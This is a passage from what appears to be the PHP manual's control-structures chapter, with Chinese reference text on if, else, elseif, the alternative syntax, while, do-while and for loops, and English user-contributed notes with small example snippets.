Posting this so the word typeof appears on this page, so that this page will show up when you google 'php typeof'.  ...yeah, former Java user.
jeanyves dot terrien at orange-ftgroup dot com 13-Mar-2007 12:34
Cross version function even if you are working in php4
(instanceof is an undefined operator for php4)

   function isMemberOf($classename) {
      $ver = floor(phpversion());
      if($ver > 4) {
         $instanceof = create_function ('$obj,$classname','return $obj instanceof $classname;');
         return $instanceof($this,$classname);
      } else {
         // Php4 uses lowercase for classname.
         return is_a($this, strtolower($classname));
      }
   } // end function isMemberOf
soletan at toxa dot de 03-Mar-2007 04:04
Please note: != is a separate operator with separate semantics. Thinking about language grammar it's kind of ridicilous to negate an operator. Of course, it's possible to negate the result of a function (like is_a()), since it isn't negating the function itself or its semantics.

instanceof is a binary operator, and so used in binary terms like this

terma instanceof termb

while ! (negation) is a unary operator and so may be applied to a single term like this

!term

And a term never consists of an operator, only! There is no such construct in any language (please correct me!). However, instanceof doesn't finally support nested terms in every operand position ("terma" or "termb" above) as negation does:

!!!!!!!!!!!!!!term == term

So back again, did you ever write

a !!!!!!!!!!!!= b

to test equivalence?
archanglmr at yahoo dot com 17-Feb-2005 06:37
Negated instanceof doesn't seem to be documented. When I read instanceof I think of it as a compairson operator (which I suppose it's not).

<?php
class A {}
class X {}

//parse error from !
if (new X !instanceof A) {
    throw new Exception('X is not an A');
}
//proper way to negate instanceof ?
if (!(new X instanceof A)) {
    throw new Exception('X is not an A');
}
?>
d dot schneider at 24you dot de 18-Dec-2004 12:42
use this for cross-version development...

<?php

function is_instance_of($IIO_INSTANCE, $IIO_CLASS){
    if(floor(phpversion()) > 4){
        if($IIO_INSTANCE instanceof $IIO_CLASS){
            return true;
            }
        else{
            return false;
            }
        }
    elseif(floor(phpversion()) > 3){
        return is_a($IIO_INSTANCE, $IIO_CLASS);
        }
    else{
        return false;
        }
    }

?>


流程控制

Table of Contents

  • 简介
  • if
  • else
  • elseif/else if
  • 流程控制的替代语法
  • while
  • do-while
  • for
  • foreach
  • break
  • continue
  • switch
  • match
  • declare
  • return
  • require
  • include
  • require_once
  • include_once
  • goto

User Contributed Notes

There are no user contributed notes for this page.


简介

任何 PHP 脚本都是由一系列语句构成的。一条语句可以是一个赋值语句，一个函数调用，一个循环，一个条件语句或者甚至是一个什么也不做的语句（空语句）。语句通常以分号结束。此外，还可以用花括号将一组语句封装成一个语句组。语句组本身可以当作是一行语句。本章介绍了各种语句类型。

参见

以下也被认为是语言结构，尽管在手册中它们是在函数下引用的。

  • list()
  • array()
  • echo
  • eval()
  • print

User Contributed Notes

There are no user contributed notes for this page.


if

(PHP 4, PHP 5, PHP 7, PHP 8)

if 结构是很多语言包括 PHP 在内最重要的特性之一，它允许按照条件执行代码片段。PHP 的 if 结构和 C 语言相似：

<?php
if (expr)
  statement
?>

如同在表达式一章中定义的，expr 按照布尔求值。如果 expr 的值为 true，PHP 将执行 statement，如果值为 false ——将忽略 statement。有关哪些值被视为 false 的更多信息参见转换为布尔值一节。

如果 $a 大于 $b，则以下例子将显示 a is bigger than b：

<?php
if ($a > $b)
echo "a is bigger than b";
?>

经常需要按照条件执行不止一条语句，当然并不需要给每条语句都加上一个 if 子句。可以将这些语句放入语句组中。例如，如果 $a 大于 $b，以下代码将显示 a is bigger than b 并且将 $a 的值赋给 $b：

<?php
if ($a > $b) {
echo "a is bigger than b";
$b = $a;
}
?>

if 语句可以无限层地嵌套在其它 if 语句中，这给程序的不同部分的条件执行提供了充分的弹性。

User Contributed Notes

chiel at comfitech dot nl 01-Apr-2023 11:43
Note that the IF statement does not always evaluates all expressions. In the next example the second expression will not be evaluated causing our function not to run. Because the result is already TRUE and the rest of the expressions are behind the OR operator they will be ignored.

<?php

$a = 0;

if ( true || $a = important_function() ) echo $a;

function important_function(){
  // Do very important stuff here.
  return 1;
}

?>
cole dot trumbo at nospamthnx dot gmail dot com 31-May-2017 05:41
Any variables defined inside the if block will be available outside the block. Remember that the if doesn't have its own scope.

<?php
$bool = true;
if ($bool) {
    $hi = 'Hello to all people!';
}
echo $hi;
?>

It will print 'Hello to all people!'

On the other hand, this will have no output:

<?php
if (false) {
    $hi = 'Hello to all people!';
}
echo $hi;
?>
robk 20-May-2013 01:02
easy way to execute conditional html / javascript / css / other language code with php if else:

<?php if (condition): ?>

html code to run if condition is true

<?php else: ?>

html code to run if condition is false

<?php endif ?>
Donny Nyamweya 11-Feb-2011 08:30
In addition to the traditional syntax for if (condition) action;
I am fond of the ternary operator that does the same thing, but with fewer words and code to type:

(condition ? action_if_true: action_if_false;)

example

(x > y? 'Passed the test' : 'Failed the test')
Christian L. 25-Jan-2011 10:58
An other way for controls is the ternary operator (see Comparison Operators) that can be used as follows:

<?php
$v = 1;

$r = (1 == $v) ? 'Yes' : 'No'; // $r is set to 'Yes'
$r = (3 == $v) ? 'Yes' : 'No'; // $r is set to 'No'

echo (1 == $v) ? 'Yes' : 'No'; // 'Yes' will be printed

// and since PHP 5.3
$v = 'My Value';
$r = ($v) ?: 'No Value'; // $r is set to 'My Value' because $v is evaluated to TRUE

$v = '';
echo ($v) ?: 'No Value'; // 'No Value' will be printed because $v is evaluated to FALSE
?>

Parentheses can be left out in all examples above.
techguy14 at gmail dot com 06-Jan-2011 01:39
You can have 'nested' if statements withing a single if statement, using additional parenthesis.
For example, instead of having:

<?php
if( $a == 1 || $a == 2 ) {
    if( $b == 3 || $b == 4 ) {
        if( $c == 5 || $ d == 6 ) {
             //Do something here.
        }
    }
}
?>

You could just simply do this:

<?php
if( ($a==1 || $a==2) && ($b==3 || $b==4) && ($c==5 || $c==6) ) {
    //do that something here.
}
?>

Hope this helps!
grawity at gmail dot com 10-Mar-2008 03:41
re: #80305

Again useful for newbies:

if you need to compare a variable with a value, instead of doing

<?php
if ($foo == 3) bar();
?>

do

<?php
if (3 == $foo) bar();
?>

this way, if you forget a =, it will become

<?php
if (3 = $foo) bar();
?>

and PHP will report an error.


else

(PHP 4, PHP 5, PHP 7, PHP 8)

经常需要在满足某个条件时执行一条语句，而在不满足该条件时执行其它语句，这正是 else 的功能。else 延伸了 if 语句，可以在 if 语句中的表达式的值为 false 时执行语句。例如以下代码在 $a 大于 $b 时显示 a is bigger than b，反之则显示 a is NOT bigger than b：

<?php
if ($a > $b) {
echo "a is greater than b";
} else {
echo "a is NOT greater than b";
}
?>
else 语句仅在 if 以及 elseif（如果有的话）语句中的表达式的值为 false 时执行（参见 elseif）。

Note: 悬挂的 else

在多层嵌套 if-else 语句的情况下， else 总是与最近的 if 进行关联。

<?php
$a = false;
$b = true;
if ($a)
if ($b)
echo "b";
else
echo "c";
?>
虽然存在缩进（对 PHP 来说，无关紧要）， 但是 else 还是与 if ($b) 进行关联，所以以上示例不会产生任何输出。虽然可以依赖此特性，但是推荐使用花括号，避免潜在的歧义问题。

User Contributed Notes

mparsa1372 at gmail dot com 11-Mar-2021 06:07
//Output "Have a good morning!" if the current time is less than 10, and "Have a good day!" if the current time is less than 20. Otherwise it will output "Have a good night!":

<?php
$t = date("H");

if ($t < "10") {
  echo "Have a good morning!";
} elseif ($t < "20") {
  echo "Have a good day!";
} else {
  echo "Have a good night!";
}
?>
mparsa1372 at gmail dot com 11-Mar-2021 06:06
//Output "Have a good day!" if the current time is less than 20, and "Have a good night!" otherwise:

<?php
$t = date("H");

if ($t < "20") {
  echo "Have a good day!";
} else {
  echo "Have a good night!";
}
?>
emmanuel dot orchanian at hotmail dot fr 24-Jun-2020 11:53
// You can remplace this :
if (...) {
    return 111 ;
} else {
    return 222 ;
}

// By this :
if (...) {
    return 111 ;
}
return 222 ;
zithronospam at remove dot gmail dot com at 25-Aug-2016 05:31
Alternate syntax is great (dont remove it!), but take care using "else:" after one liners, this wont work:
<?php
if (true):
    if (true) print('This results in a parse error (unexpected ":" on line <the_else_line>)');
else:
    if (true) { print('Replacing above line with this one also triggers a parse error, curly braces do not help in this case') }
endif; ?>

Either use the alternate syntax on the line in error: <?php if(true):print('This works as its ended by an');endif; ?>
Or write some more code on a newline between the one-liner and the following else (eg. "$var=1;" is enough, even a single semi-colon is, but read below).

A third way is to add a semi-colon to the one-liner, having two if necessary:
<?php
if (true):
    if (true) print('This is valid again');;
else:
    // ...
endif;

// It works with the curly braces form too:
if (true):
    if (true) { print('This get displayed, even if the doc says the opposite about mixing syntaxes') };
else:
    // ...
endif;
?>
I can only guess that the added semi-colon makes it work by "closing the if" in a way.
Subsequent semi-colons don't matter, and the semi-colon can be anywhere: at the end of the line, on the following line on its own, or just before the else like ";else". But who would do that anyway.

TL;DR/conclusion:
- avoid mixing alternate syntax and one liners in if/else control structures
- avoid mixing syntaxes inside the blocks (even if it works using this semi-colon trick).

================================
Note to editors: the behaviour described is specifically linked to the use of an else, but this note could also be added to the more general "Alternative syntax for control structures" page as it's also commenting on mixing syntaxes. You know better!
php at keith tyler dot com 05-Jul-2011 10:52
This is valid syntax:

<?php
if ($a) print "a is true";
else print "a is false";
?>

A holdover from the bash-style compatibility in older PHP versions, perhaps.
Larry H-C 17-Aug-2009 10:08
When you escape out of HTML, you can get an UNEXPECTED T_ELSE error with the following:

Error:

<? if( $condition ) {
        dosomething;
   }
?>

<? else {
       dosomethingelse;
   }
?>

Correct:

<? if( $condition ) {
       dosomething;
?>

<? } else {
       dosomethingelse;
   }
?>

Apparently the compiler thinks a ?> <? breaks the connection between the } and the else
Theoden 24-Apr-2008 05:42
At Caliban Darklock

I don't know if it is just improvements in the parser, but there is a negligible difference in the performance of "elseif" vs "else if" as of version 5. One thousandth of a second in your example and 8 thousandths if the eval statement is repeated 5 times.
If the constructs are in regular code, then there appears to be no difference. This leads me to believe that the difference in the eval code is from there being an extra parser token.

Also the main performance burden of recursive functions is the stack operations of changing the context. In this case I believe that it would parse to very similar (if not identical) jmp controls.

In summary, use your preference. Readability and maintainability rank far higher on the priority scale.

One Additional note, there appears to be a limit of the number of "else if" statements (perhaps nested statements in general) that php will handle before starting to get screwy. This limit is about 1100. "elseif" is not affected by this.
dormeydo at gmail dot com 12-Apr-2008 04:51
An alternative and very useful syntax is the following one:

statement ? execute if true : execute if false

Ths is very usefull for dynamic outout inside strings, for example:

print('$a is ' . ($a > $b ? 'bigger than' : ($a == $b ? 'equal to' : 'smaler than' )) .  '  $b');

This will print "$a is smaler than $b" is $b is bigger than $a, "$a is bigger than $b" if $a si bigger and "$a is equal to $b" if they are same.
mitch at mitchellbeaumont dot com 24-Jul-2007 12:09
At gwmpro at yahoo dot com

The curly brace is not required however, for readability and maintenance, many developers would consider it bad style not to include them.
Caliban Darklock 08-Nov-2004 11:24
If you're coming from another language that does not have the "elseif" construct (e.g. C++), it's important to recognise that "else if" is a nested language construct and "elseif" is a linear language construct; they may be compared in performance to a recursive loop as opposed to an iterative loop.

<?php
$limit=1000;
for($idx=0;$idx<$limit;$idx++)
{ $list[]="if(false) echo \"$idx;\n\"; else"; }
$list[]=" echo \"$idx\n\";";
$space=implode(" ",$list);| // if ... else if ... else
$nospace=implode("",$list); // if ... elseif ... else
$start=array_sum(explode(" ",microtime()));
eval($space);
$end=array_sum(explode(" ",microtime()));
echo $end-$start . " seconds\n";
$start=array_sum(explode(" ",microtime()));
eval($nospace);
$end=array_sum(explode(" ",microtime()));
echo $end-$start . " seconds\n";
?>

This test should show that "elseif" executes in roughly two-thirds the time of "else if". (Increasing $limit will also eventually cause a parser stack overflow error, but the level where this happens is ridiculous in real world terms. Nobody normally nests if() blocks to more than a thousand levels unless they're trying to break things, which is a whole different problem.)

There is still a need for "else if", as you may have additional code to be executed unconditionally at some rung of the ladder; an "else if" construction allows this unconditional code to be elegantly inserted before or after the entire rest of the process. Consider the following elseif() ladder:

<?php
if($a) { conditional1(); }
elseif($b) { conditional2(); }
elseif($c) { conditional3(); }
elseif($d) { conditional4(); }
elseif($e) { conditional5(); }
elseif($f) { conditional6(); }
elseif($g) { conditional7(); }
elseif($h) { conditional8(); }
else { conditional9(); }
?>

To insert unconditional preprocessing code for $e onward, one need only split the "elseif":

<?php
if($a) { conditional1(); }
elseif($b) { conditional2(); }
elseif($c) { conditional3(); }
elseif($d) { conditional4(); }
else {
....unconditional();
....if($e) { conditional5(); }
....elseif($f) { conditional6(); }
....elseif($g) { conditional7(); }
....elseif($h) { conditional8(); }
....else { conditional9(); }
}
?>

The alternative is to duplicate the unconditional code throughout the construct.


elseif/else if

(PHP 4, PHP 5, PHP 7, PHP 8)

elseif，和此名称暗示的一样，是 if 和 else 的组合。和 else 一样，它延伸了 if 语句，可以在原来的 if 表达式值为 false 时执行不同语句。但是和 else 不一样的是，它仅在 elseif 的条件表达式值为 true 时执行语句。例如以下代码将根据条件分别显示 a is bigger than b，a equal to b 或者 a is smaller than b：

<?php
if ($a > $b) {
echo "a is bigger than b";
} elseif ($a == $b) {
echo "a is equal to b";
} else {
echo "a is smaller than b";
}
?>

在一个 if 语句中可以有多个 elseif，其中将会执行第一个表达式值为 true（如果有的话）的 elseif。在 PHP 中，也可以写成 else if（两个单词），它和 elseif（一个单词）的行为完全一样。句法分析的含义有少许区别（行为与 C 相同），但是底线是两者会产生完全一样的行为。

elseif 的语句仅在之前的 if 和所有之前 elseif 的表达式值为 false，并且当前的 elseif 表达式值为 true 时执行。

Note: 必须要注意的是 elseif 与 else if 只有在类似上例中使用花括号的情况下才认为是完全相同。如果用冒号来定义 if/elseif 条件，必须在一个单词中使用 elseif。如果 else if 分割为两个单词，则 PHP 会产生解析错误。

<?php

/* 不正确的使用方法： */
if ($a > $b):
echo $a." is greater than ".$b;
else if ($a == $b): // 将无法编译
echo "The above line causes a parse error.";
endif;

/* 正确的使用方法： */
if ($a > $b):
echo $a." is greater than ".$b;
elseif ($a == $b): // 注意使用了一个单词的 elseif
echo $a." equals ".$b;
else:
echo $a." is neither greater than or equal to ".$b;
endif;

?>

User Contributed Notes

mparsa1372 at gmail dot com 12-Mar-2021 03:27
The if...elseif...else statement executes different codes for more than two conditions.

Syntax:

if (condition) {
  code to be executed if this condition is true;
} elseif (condition) {
  code to be executed if first condition is false and this condition is true;
} else {
  code to be executed if all conditions are false;
}

Example:
Output "Have a good morning!" if the current time is less than 10, and "Have a good day!" if the current time is less than 20. Otherwise it will output "Have a good night!":

<?php
$t = date("H");

if ($t < "10") {
  echo "Have a good morning!";
} elseif ($t < "20") {
  echo "Have a good day!";
} else {
  echo "Have a good night!";
}
?>
qualitycoder 03-Oct-2014 02:39
The reason 'else if' (with a space) works with traditional syntax and not colon syntax is because of a technicality.

<?php
  if($var == 'Whatever') {

  } else if($var == 'Something Else') {

  }
?>

In this instance, the 'else if' is a shorthand/inline else statement (no curly braces) with the if statement as a body. It is the same things as:

<?php
  if($var == 'Whatever') {

  } else {
      if($var == 'Something Else') {

      }
  }
?>

If you were to write this with colon syntax, it would be:

<?php
  if($var == 'Whatever'):

  else:
      if($var == 'Something Else'):

      endif;
  endif;
?>
Vladimir Kornea 27-Dec-2006 09:59
The parser doesn't handle mixing alternative if syntaxes as reasonably as possible.

The following is illegal (as it should be):

<?
if($a):
    echo $a;
else {
    echo $c;
}
?>

This is also illegal (as it should be):

<?
if($a) {
    echo $a;
}
else:
    echo $c;
endif;
?>

But since the two alternative if syntaxes are not interchangeable, it's reasonable to expect that the parser wouldn't try matching else statements using one style to if statement using the alternative style. In other words, one would expect that this would work:

<?
if($a):
    echo $a;
    if($b) {
      echo $b;
    }
else:
    echo $c;
endif;
?>

Instead of concluding that the else statement was intended to match the if($b) statement (and erroring out), the parser could match the else statement to the if($a) statement, which shares its syntax.

While it's understandable that the PHP developers don't consider this a bug, or don't consider it a bug worth their time, jsimlo was right to point out that mixing alternative if syntaxes might lead to unexpected results.


流程控制的替代语法

(PHP 4, PHP 5, PHP 7, PHP 8)

PHP 提供了一些流程控制的替代语法，包括 if，while，for，foreach 和 switch。替代语法的基本形式是把左花括号（{）换成冒号（:），把右花括号（}）分别换成 endif;，endwhile;，endfor;，endforeach; 以及 endswitch;。

<?php if ($a == 5): ?>
A is equal to 5
<?php endif; ?>

在上面的例子中，HTML 内容"A is equal to 5"用替代语法嵌套在 if 语句中。该 HTML 的内容仅在 $a 等于 5 时显示。

替代语法同样可以用在 else 和 elseif 中。下面是一个包括 elseif 和 else 的 if 结构用替代语法格式写的例子：

<?php
if ($a == 5):
echo "a equals 5";
echo "...";
elseif ($a == 6):
echo "a equals 6";
echo "!!!";
else:
echo "a is neither 5 nor 6";
endif;
?>

Note:

不支持在同一个控制块内混合使用两种语法。

Warning

switch 和第一个 case 之间的任何输出（含空格）将导致语法错误。例如，这样是无效的：

<?php switch ($foo): ?>
 <?php case 1: ?>
 ...
<?php endswitch; ?>

而这样是有效的，因为 switch 之后的换行符被认为是结束标记 ?> 的一部分，所以在 switch 和 case 之间不能有任何输出：

<?php switch ($foo): ?>
<?php case 1: ?>
 ...
<?php endswitch; ?>

更多例子参见 while，for 和 if。

User Contributed Notes

albaash247 at gmail dot com 24-Aug-2023 04:40
i was wondering which solution is better (using heredoc or Alternative syntax). Anyway, you can use heredoc to populate data like this:

<?php
function printUsers()
{
    require_once '../API/get-users.php';

    foreach (getResponse() as $user) {
        $template = <<<HTML
        <tr id="userRowTemplate">
            <th id="txtUserId" scope="row" >$user[id]</th>
            <td id="txtUserFullName">$user[full_name]</td>
            <td id="txtUserEmail">$user[email]</td>
            <td id="action">
                <button id="btnEnable">Enable</button>
                <button id="btnDisable">Disable</button>
            </td>
        </tr>
        HTML;

        echo $template;
    }
}

?>
toxyy 22-Apr-2022 10:00
I feel compelled to give a more elegant way using heredoc than the other comment:

<ul>
<?php foreach($list as $item): echo
<<<ITEM
    <li id="itm-$item[number]">Item $item[name]</li>
ITEM;
endforeach; ?>
</ul>

Which works better with multi line blocks, as you only need one overall php tag.

(please don't omit the closing </li> tag despite it being legal, personal preference)


while

(PHP 4, PHP 5, PHP 7, PHP 8)

while 循环是 PHP 中最简单的循环类型。它和 C 语言中的 while 表现地一样。while 语句的基本格式是：

while (expr)
    statement

while 语句的含意很简单，它告诉 PHP 只要 while 表达式的值为 true 就重复执行嵌套中的循环语句。表达式的值在每次开始循环时检查，所以即使这个值在循环语句中改变了，语句也不会停止执行，直到本次循环结束。 如果 while 表达式的值一开始就是 false，则循环语句一次都不会执行。

和 if 语句一样，可以在 while 循环中用花括号括起一个语句组，或者用替代语法：

while (expr):
    statement
    ...
endwhile;

下面两个例子完全一样，都显示数字 1 到 10：

<?php
/* 示例 1 */

$i = 1;
while ($i <= 10) {
echo $i++; /* 在自增前（后自增）打印的值将会是 $i */
}

/* 示例 2 */

$i = 1;
while ($i <= 10):
print $i;
$i++;
endwhile;
?>

User Contributed Notes

razvan_bc at yahoo dot com 18-Jul-2022 05:24
assuming you want to have another way to archieve
<?php

for($i=10;$i>0;$i--){
    echo $i.'<br>';
}

?>

then yo have this:

<?php

$v=10;
do{
    echo $v.'<br>';
}while(--$v);

/*
while(--$v) : 10...1 , when $v==0 stops
*/

?>
Dan Liebner 16-Apr-2021 05:33
While loops don't require a code block (statement).

<?php

while( ++$i < 10 ); // look ma, no brackets!

echo $i; // 10

?>
mparsa1372 at gmail dot com 12-Mar-2021 03:23
The example below displays the numbers from 1 to 5:

<?php
$x = 1;

while($x <= 5) {
  echo "The number is: $x <br>";
  $x++;
}
?>

This example counts to 100 by tens:

<?php
$x = 0;

while($x <= 100) {
  echo "The number is: $x <br>";
  $x+=10;
}
?>


do-while

(PHP 4, PHP 5, PHP 7, PHP 8)

do-while 循环和 while 循环非常相似，区别在于表达式的值是在每次循环结束时检查而不是开始时。和一般的 while 循环主要的区别是 do-while 的循环语句保证会执行一次（表达式的真值在每次循环结束后检查），然而在一般的 while 循环中就不一定了（表达式真值在循环开始时检查，如果一开始就为 false 则整个循环立即终止）。

do-while 循环只有一种语法：

<?php
$i = 0;
do {
echo $i;
} while ($i > 0);
?>

以上循环将正好运行一次，因为经过第一次循环后，当检查表达式的真值时，其值为 false（$i 不大于 0）而导致循环终止。

资深的 C 语言用户可能熟悉另一种不同的 do-while 循环用法，把语句放在 do-while(0) 之中，在循环内部用 break 语句来结束执行循环。以下代码片段示范了此方法：

<?php
do {
if ($i < 5) {
echo "i is not big enough";
break;
}
$i *= $factor;
if ($i < $minimum_limit) {
break;
}
echo "i is ok";

/* process i */

} while(0);
?>

可以使用 goto 跳出循环，取代这种 hack 的方式。

User Contributed Notes

mparsa1372 at gmail dot com 12-Mar-2021 03:23
The example below first sets a variable $x to 1 ($x = 1). Then, the do while loop will write some output, and then increment the variable $x with 1. Then the condition is checked (is $x less than, or equal to 5?), and the loop will continue to run as long as $x is less than, or equal to 5:

<?php
$x = 1;

do {
  echo "The number is: $x <br>";
  $x++;
} while ($x <= 5);
?>
M. H. S. 29-Oct-2019 07:02
<!-- if you write with WHILE: -->
<?php
$i = 100
while ($i < 10) :
    echo "\$i is $i.";
endwhile;
?>
<!-- returning: -->

<!-- if you write with DO/WHILE: -->
<?php
$i = 100;
do {
    echo "\$i is $i.";
} while ($i < 10);
?>
<!-- returning: -->
$i is 100.
iamjeffjack at gmail dot com 01-Feb-2018 08:26
If you put multiple conditions in the while check, a do-while loop checks these conditions in order and runs again once it encounters a condition that returns true. This can be helpful to know when troubleshooting why a do-while loop isn't finishing. An (illustrative-only) example:

<?php
    $numberOne = 0;
    do {
        echo $numberOne;
        $numberOne++;
    } while( $numberOne < 5 || incrementNumberTwo() );
    function incrementNumberTwo() {
        echo "function incrementNumberTwo called";
        return false;
    }
    // outputs "01234function incrementNumberTwo called"
?>
Martin 28-Apr-2015 03:51
Do-while loops can also be used inside other loops, for example:

<?php
// generating an array with random even numbers between 1 and 1000

$numbers = array();
$array_size = 10;

// for loop runs as long as 2nd condition evaluates to true
for ($i=0;$i<$array_size;$i++) {

      // always executes (as long as the for-loop runs)
      do {
         $random = rand(1,1000);

     // if the random number is even (condition below is false), the do-while-loop execution ends
     // if it's uneven (condition below is true), the loop continues by generating a new random number
     } while (($random % 2) == 1);

     // even random number is written to array and for-loop continues iteration until original condition is met
     $numbers[] = $random;
}

// sorting array by alphabet

asort($numbers);

// printing array

echo '<pre>';
print_r($numbers);
echo '</pre>';
?>
andrew at NOSPAM dot devohive dot com 15-Sep-2008 10:44
I'm guilty of writing constructs without curly braces sometimes... writing the do--while seemed a bit odd without the curly braces ({ and }), but just so everyone is aware of how this is written with a do--while...

a normal while:
<?php
   while ( $isValid ) $isValid = doSomething($input);
?>

a do--while:
<?php
   do $isValid = doSomething($input);
   while ( $isValid );
?>

Also, a practical example of when to use a do--while when a simple while just won't do (lol)... copying multiple 2nd level nodes from one document to another using the DOM XML extension

<?php
   # open up/create the documents and grab the root element
   $fileDoc  = domxml_open_file('example.xml'); // existing xml we want to copy
   $fileRoot = $fileDoc->document_element();
   $newDoc   = domxml_new_doc('1.0'); // new document we want to copy to
   $newRoot  = $newDoc->create_element('rootnode');
   $newRoot  = $newDoc->append_child($newRoot); // this is the node we want to copy to

   # loop through nodes and clone (using deep)
   $child = $fileRoot->first_child(); // first_child must be called once and can only be called once
   do $newRoot->append_child($child->clone_node(true)); // do first, so that the result from first_child is appended
   while ( $child = $child->next_sibling() ); // we have to use next_sibling for everything after first_child
?>
jayreardon at gmail dot com 10-Apr-2007 03:36
There is one major difference you should be aware of when using the do--while loop vs. using a simple while loop:  And that is when the check condition is made.

In a do--while loop, the test condition evaluation is at the end of the loop.  This means that the code inside of the loop will iterate once through before the condition is ever evaluated.  This is ideal for tasks that need to execute once before a test is made to continue, such as test that is dependant upon the results of the loop.

Conversely, a plain while loop evaluates the test condition at the begining of the loop before any execution in the loop block is ever made. If for some reason your test condition evaluates to false at the very start of the loop, none of the code inside your loop will be executed.


for

(PHP 4, PHP 5, PHP 7, PHP 8)

for 循环是 PHP 中最复杂的循环结构。它的行为和 C 语言的相似。 for 循环的语法是：

for (expr1; expr2; expr3)
    statement

第一个表达式（expr1）在循环开始前无条件求值（并执行）一次。

expr2 在每次循环开始前求值。如果值为 true，则继续循环，执行嵌套的循环语句。如果值为 false，则终止循环。

expr3 在每次循环之后被求值（并执行）。

每个表达式都可以为空或包括逗号分隔的多个表达式。表达式 expr2 中，所有用逗号分隔的表达式都会计算，但只取最后一个结果。expr2 为空意味着将无限循环下去（和 C 一样，PHP 暗中认为其值为 true）。这可能不像想象中那样没有用，因为经常会希望用有条件的 break 语句来结束循环而不是用 for 的表达式真值判断。

考虑以下的例子，它们都显示数字 1 到 10：

<?php
/* 示例 1 */

for ($i = 1; $i <= 10; $i++) {
echo $i;
}

/* 示例 2 */

for ($i = 1; ; $i++) {
if ($i > 10) {
break;
}
echo $i;
}

/* 示例 3 */

$i = 1;
for (;;) {
if ($i > 10) {
break;
}
echo $i;
$i++;
}

/* 示例 4 */

for ($i = 1, $j = 0; $i <= 10; $j += $i, print $i, $i++);
?>

当然，第一个例子看上去最简洁（或者有人认为是第四个），但用户可能会发现在 for 循环中用空的表达式在很多场合下会很方便。

PHP 也支持用冒号的 for 循环的替代语法。

for (expr1; expr2; expr3):
    statement;
    ...
endfor;

有时经常需要像下面这样例子一样对数组进行遍历：

<?php
/*
* 此数组将在遍历的过程中改变其中某些单元的值
*/
$people = Array(
Array('name' => 'Kalle', 'salt' => 856412),
Array('name' => 'Pierre', 'salt' => 215863)
);

for($i = 0; $i < count($people); ++$i)
{
$people[$i]['salt'] = rand(000000, 999999);
}
?>

以上代码可能执行很慢，因为每次循环时都要计算一遍数组的长度。由于数组的长度始终不变，可以用一个中间变量来储存数组长度以优化而不是不停调用 count()：

<?php
$people = Array(
Array('name' => 'Kalle', 'salt' => 856412),
Array('name' => 'Pierre', 'salt' => 215863)
);

for($i = 0, $size = count($people); $i < $size; ++$i)
{
$people[$i]['salt'] = rand(000000, 999999);
}
?>

User Contributed Notes

mparsa1372 at gmail dot com 12-Mar-2021 03:26
This example counts to 100 by tens:

<?php
for ($x = 0; $x <= 100; $x+=10) {
  echo "The number is: $x <br>";
}
?>
Anonymous 30-May-2020 03:08
If you want to do a for and increment with decimal numbers:
<?php
for($i=0; $i<=2; $i+=0.1)
     echo $i;
?>
The code will never show 2 as expected, because of decimal imprecision if I remember well.
You will need to round:
<?php
for($i=0; round($i,1)<=2; $i+=0.1)
    echo $i.",";
?>
This code correctly shows 0,0.1 .... 2.
ju dot nk at email dot cz 01-Mar-2018 08:11
Please note that following code is working:

$reverse = TRUE;  //iteration direction switch

for ($i=$reverse?($N-1):0; $reverse?($i>-1):($i<$N); $reverse?$i--:$i++) {

... your code here

}

(Using PHP 5.4.45)
ju dot nk at email dot cz 01-Mar-2018 08:09
Please note that following code is working:

for ($i=$reverse?($N-1):0; $reverse?($i>-1):($i<$N); $reverse?$i--:$i++) {

... your code here

}

(Using PHP 5.4.45)
epicxmoe at gmail dot com 18-Jul-2017 05:41
I've tried to search for a results on internet for a basic array which contain letters A to Z inside

<!DOCTYPE html>
<html>
<body>
<?php
$letter = array();
for ($letters = 'A'; $letters != 'AA'; $letters++)
{
    array_push($letter, $letters);
}
echo '<pre>' . var_export($letter, true) . '</pre>';
?>
</body>
</html>
epicxmoe at gmail dot com 18-Jul-2017 05:21
Adding Letters from A to Z inside an array.

You should test it out.

<!DOCTYPE html>
<html>
<body>
<?php
$letter = array();
for ($letters = 'A'; $letters != 'AA'; $letters++)
{
    array_push($letter, $letters);
}
echo '<pre>' . var_export($letter, true) . '</pre>';
?>
</body>
</html>
dx at e-mogensen dot dk 12-Jan-2017 07:31
Warning about using the function "strlen" i a for-loop:

This note should might be under the "strlen" manual page, but there is a better chance for more paying attention here (nevertheless I have made a short note over there allso).

A loop function that test for the string length at each iteration takes forever (possibly due to "strlen" searches for the C-style string terminator - a binary 0 - every time..

So loops like this, using  "strlen" in the for...

for  ($i = 0;  $i < strlen($crc); $i++) .....

Will benefit tremendously in speed by a short step that saves the string length once and use that in the loop.

$clen = strlen($crc);

for  ($i = 0;  $i < $clen ; $i++) .....

Note: as a real hard-core programmer You are aware, that this is only valid if you don't change the string content inside the loop (and hereby allso the length). If the change is only occationly , You could just refresh the length variable or else just live with a quite slow loop.

This "discovery" was made from using an example of 16 bit crc calculation over at the "crc32" function manual page, that do exactly that..
htroyo 10-Jun-2016 11:04
when iterating a multidimentional array like this:
for ($i = 0; $i < $size_x; $i++) {
    for ($j = 0; $j < $size_y; $j++) {
        do_something($a[$i][$j]);
    }
}
it is faster to use $a[$i][$j] than using $a[$j][$i]
for ($i = 0; $i < $size_x; $i++) {
    for ($j = 0; $j < $size_y; $j++) {
        do_something($a[$j][$i]);
    }
}
if you know about how RAM works you understand why
Anonymous 23-Aug-2014 11:39
You can also work with arrays. For example, say you want to generate an array of 12 unique 2-letter strings:

<?php

for ($names = array(); count($names) < 12; $names = array_unique($names)) {
    /**
     * we assume here we have some $faker object
     * which generates n-letter strings
     */
    $names[] = $faker->word(2);
}

print_r($names);
?>

will print something like:

Array
(
    [0] => cc
    [1] => cb
    [2] => dd
    [3] => db
    [4] => bb
    [6] => cd
    [8] => aa
    [9] => ad
    [10] => ca
    [11] => ac
    [12] => dc
    [15] => ab
)
AoKMiKeY 13-Jul-2014 06:36
As a note for people just starting out and wanting to know if you can do some thing like this...

<?php For( $a = 0; $a < 10; $a++ ) { ?>

//Random html elements you would like to duplicate.

<?php } ?>

Then yes you can. It works like a charm.
Vincenzo Raco 30-Mar-2014 04:59
In this code:

<?php

    $array = array(
        'pop0',
        'pop1',
        'pop2',
        'pop3',
        'pop4',
        'pop5',
        'pop6',
        'pop7',
        'pop8'
    );
    echo "Tot Before: ".count($array)."<br><br>";
    for ($i=0; $i<count($array); $i++) {
        if ($i === 3) {
            unset($array[$i]);
        }
        echo "Count: ".count($array). " - Position: ".$i."<br>";
    }
    echo "<br> Tot After: ".count($array)."<br>";

?>

The result is:

---

Tot Before: 9

